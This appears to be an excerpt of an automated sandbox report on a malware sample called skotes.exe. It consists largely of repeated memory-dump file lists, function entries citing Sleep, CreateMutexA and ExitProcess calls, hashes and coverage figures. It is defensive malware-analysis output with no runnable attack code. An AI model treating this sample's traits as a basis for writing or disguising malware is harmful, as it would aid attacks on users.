Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a38a2e4bc8c3578fd725117afdd3859a2fa7b6defa452547cbf965f8ed9792f9
Instruction ID: f3b31c405e4e7830cb1414151590ed17c9157000d1400df05466293e11d790f3
Opcode Fuzzy Hash: a38a2e4bc8c3578fd725117afdd3859a2fa7b6defa452547cbf965f8ed9792f9
Instruction Fuzzy Hash: 87219E31701348DBEB289B68EC89B6CF761EBC2318F20421DE414D77D1CB369A8087A2

Non-executed Functions

Function 000FCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 000FCC66

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 715f3384b423fc21c680d1051ae54345866d7d088500f131c24c43c106b974eb
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: FFB1453290464D9FEB25CF28C982FFEBBE5EF55340F14416ADA45EB682D6348D01DBA0

Function 000C2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 000C2F5F
__Mtx_unlock.LIBCPMT ref: 000C2FCC
__Mtx_unlock.LIBCPMT ref: 000C30F5
__Mtx_unlock.LIBCPMT ref: 000C319B

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 285719e98617e3f69bb167571e9243bf9bae53721a33cf5ea83b7009218c00b3
Instruction ID: 378cf8339981e4e8b502e8ec01e65ae38e923337bec6f7e354aae6c990d70f86
Opcode Fuzzy Hash: 285719e98617e3f69bb167571e9243bf9bae53721a33cf5ea83b7009218c00b3
Instruction Fuzzy Hash: 3EA1BF71A11306AFEB60DB64C944BAEB7E8BF15314F14812EE815D7742EB35EA04CBA1

Analysis Process: skotes.exePID: 7652, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	621
Total number of Limit Nodes:	4

Executed Functions

Function 000F652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,000F652A,?,?,?,?,?,000F7661), ref: 000F6566

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0e0b98a676ea8c2355ce2370dc9f43875138737f52ed6f34e9a3c59abad72b97
Instruction ID: ee313c1f1a090e888cf09294cd068e23a4bf718f690ba4da868d12ede16891b1
Opcode Fuzzy Hash: 0e0b98a676ea8c2355ce2370dc9f43875138737f52ed6f34e9a3c59abad72b97
Instruction Fuzzy Hash: D7E0CD3018150CAECF367B5CCD49D983B59EF51B8CF444410FF1956926CB36EE81D651

Function 000C9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1f86c5756bb220ee4db019940b2f34075ffafb93052803da043a6b27c6bd9962
Instruction ID: 2a44048f94a723b3a8527a0dcd00352254c8ac3642eb7c70ae1a5a238cf43ccd
Opcode Fuzzy Hash: 1f86c5756bb220ee4db019940b2f34075ffafb93052803da043a6b27c6bd9962
Instruction Fuzzy Hash: F03128317042049BEB189B78DDCDFADB7A2EBC2314F24821DE114A77D6D7799A808751

Function 000C9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
